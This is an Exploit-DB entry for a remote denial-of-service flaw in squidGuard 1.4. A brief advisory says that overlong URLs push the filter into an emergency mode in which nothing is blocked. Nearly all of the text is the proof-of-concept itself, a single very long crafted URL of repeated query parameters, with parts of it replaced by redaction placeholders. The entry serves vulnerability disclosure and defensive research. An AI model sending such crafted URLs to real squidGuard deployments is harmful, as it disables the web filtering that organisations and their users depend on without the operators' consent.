Exploit-DB #37685
Description: SquidGuard 1.4 - Long URL Handling Remote Denial of Service
Type: dos
Platform: xml
Date: 2012-08-30
Author: Stefan Bauer

Exploit:
source: https://www.securityfocus.com/bid/55291/info

squidGuard is prone to a remote denial-of-service vulnerability.

A successful exploit will cause the application to enter emergency mode in which URLs are not blocked. This will result in a denial-of-service condition.

squidGuard 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/_playlist/playlist.xml?parm=0[PII_REDACTED]3520535?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]3296297?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]52201?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]9479603?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]9701137?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]371858687?parm=0[PII_REDACTED]2553893?parm=0[PII_REDACTED]0323495?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]3532453?parm=0[PII_REDACTED]84247?parm=0[PII_REDACTED]82676057?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]7701195?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]6502857?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]7125244?pa
 rm=0[PII_REDACTED]0002962?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]4006762?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]37982?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]0633709?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]8241496?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]4004015?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]68698?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]1771472?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]7944683?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]47313354?parm
 =0.[PII_REDACTED]?parm=0[PII_REDACTED]7624749?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]61904801?parm=0[PII_REDACTED]9764576?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]5631952?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]03536666?parm=0[PII_REDACTED]16261?parm=0[PII_REDACTED]5197127?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]1448787?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]6243226?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]8725903?parm=0.[PII_REDACTED]?par
 m=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]156194203?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]4950961?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]76309?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]0758606?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]6437892?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]1432846?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]7628827?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]5627229?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]3331983?par
 m=0[PII_REDACTED]3322023?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]1889426?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]4240383?parm=0[PII_REDACTED]5336989?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]7758783?parm=0.[PII_REDACTED]?parm=0.[PII_REDACTED]?parm=0[PII_REDACTED]6277475?parm3D0.58895697